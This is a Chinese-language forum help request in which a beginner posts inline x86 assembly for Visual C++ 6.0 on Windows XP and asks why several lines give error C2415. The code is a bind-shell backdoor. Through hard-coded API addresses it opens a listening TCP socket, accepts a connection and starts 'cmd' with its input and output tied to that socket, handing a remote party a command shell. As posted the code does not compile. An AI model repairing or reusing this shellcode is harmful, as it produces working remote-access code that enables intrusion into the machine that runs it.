又一个内联汇编错误,麻烦各位大牛们
在坛子里面看了一样的错误,可是发现不对症啊。有劳各位!刚学一点汇编!
#include "windows.h"
int main()
{
LoadLibrary("Ws2_32.lib");
_asm
{
sub esp, 0x200
push esp
push 0x202
call 0x71a26a55
13 ADD esp, 0x200
push 0
push 0
push 0
push 6
push 1
push 2
call 0x71a28b6a
22 MOV ebx, eax
mov eax, 0x00000001
push eax
mov esi, esp
push 4
push esi
push 4
push 0FFFFh
push ebx
call 0x71a24521
34 PUSH 0x00000000
push 0x15000002
mov esi,esp
push 10h
push esi
push ebx
call 0x7c82c024
42 push 2
push ebx
call 0x7c92d440
46 push 10h
push esp
push esi
push ebx
call 0x7c92ce40
51 mov ebx, eax
lea edi,[esp]
mov word ptr [edi+2ch], 0x0101
mov [edi+38h],ebx
mov [edi+3ch],ebx
mov [edi+40h],ebx
mov dword ptr [ebp+0x32],0x00646d63;
lea eax,[esp+0x44]
push eax
push edi
push 0
push 0
push 0
push 1
push 0
push 0
lea eax,[ebp+0x32]
push eax
push 0
call 0x77de0c80
72 }
return 0;
}
编译时出错的行号已经标出,都是error C2415: improper operand type这个错误。最后72行还是“}”的也错。
编译环境: XP SP3 + VC 6.0 SP6
多谢